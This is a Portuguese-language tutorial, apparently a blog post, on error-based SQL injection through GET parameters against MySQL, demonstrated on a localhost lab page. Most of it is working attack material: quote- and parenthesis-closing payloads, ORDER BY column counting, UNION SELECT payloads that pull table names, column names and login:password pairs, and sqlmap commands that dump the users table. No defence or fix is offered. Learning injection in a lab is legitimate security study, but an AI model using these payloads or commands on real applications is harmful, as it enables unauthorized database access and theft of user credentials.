Injeção SQL via GET com extração de mensagens de erro

Explorar falhas que retornam mensagens de erro é uma das formas mais rápidas de identificar e extrair dados de bancos de dados MySQL vulneráveis. A seguir, veremos como reconhecer e abusar desas falhas quando o parâmetro é enviado via GET.

Reconhecimento do tipo de parâmetro

O primeiro passo é descobrir se o campo é tratado como número ou texto. Isso determina o caractere de fechamento (ou a ausência dele) que precisaremos usar para quebrar a sintaxe da query original.

Cenário 1 – aspas simples em campos string

Requisição:

http://localhost/lab/vuln.php?cod=1'

Resposta:

... near ''1'' LIMIT 0,1' at line 1

O erro revela aspas simples duplicadas, indicando que o WHERE id = '$id' espera um valor delimitado por aspas simples.

Cenário 2 – valores numéricos

Requisição:

http://localhost/lab/vuln.php?cod=1'

Resposta:

... near '' LIMIT 0,1' at line 1

A ausência de aspas antes do LIMIT mostra que a query é WHERE id = $id, ou seja, inteiro.

Cenário 3 – aspas simples + parênteses

Requisição:

http://localhost/lab/vuln.php?cod=1'

Resposta:

... near ''1'') LIMIT 0,1' at line 1

O parêntese extra indica WHERE id = ('$id'). Para neutralizar, basta fechar o parêntese antes do comentário:

?cod=1')--+-

Cenário 4 – aspas duplas + parênteses

Requisição:

http://localhost/lab/vuln.php?cod=1"

Resposta:

... near '"1"") LIMIT 0,1' at line 1

A estrutura é WHERE id = ("$id"). O payload final será:

?cod=1")--+-

Enumerando a estrutura do banco

Após identificar o fechamento correto, usamos ORDER BY para descobrir quantas colunas a consulta original projeta:

?cod=1' ORDER BY 3--+-   → OK
?cod=1' ORDER BY 4--+-   → erro

Com três colunas confirmadas, injetamos UNION SELECT para extrair metadados:

  1. Lista de tabelas:
    ?cod=0' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+-
    
  2. Colunas da tabela usuarios:
    ?cod=0' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='usuarios'--+-
    
  3. Dados sensíveis:
    ?cod=0' UNION SELECT 1,group_concat(login,0x3a,senha),3 FROM usuarios--+-
    

Automação com sqlmap

O sqlmap acelera todo o processo:

# listar bancos
sqlmap -u "http://localhost/lab/vuln.php?cod=1" --dbs --batch

# listar tabelas do banco "seguranca"
sqlmap -u "http://localhost/lab/vuln.php?cod=1" -D seguranca --tables --batch

# extrair colunas da tabela "usuarios"
sqlmap -u "http://localhost/lab/vuln.php?cod=1" -D seguranca -T usuarios --columns --batch

# dump de login e senha
sqlmap -u "http://localhost/lab/vuln.php?cod=1" -D seguranca -T usuarios -C "login,senha" --dump --batch

Esses passos demonstram como transformar erros de sintaxe em acesso completo aos dados, desde que a aplicação revele mensagens detalhadas do MySQL.

Tags: MySQL SQL Injection GET parameter Error-Based UNION SELECT

Publicado em 7-29 23:47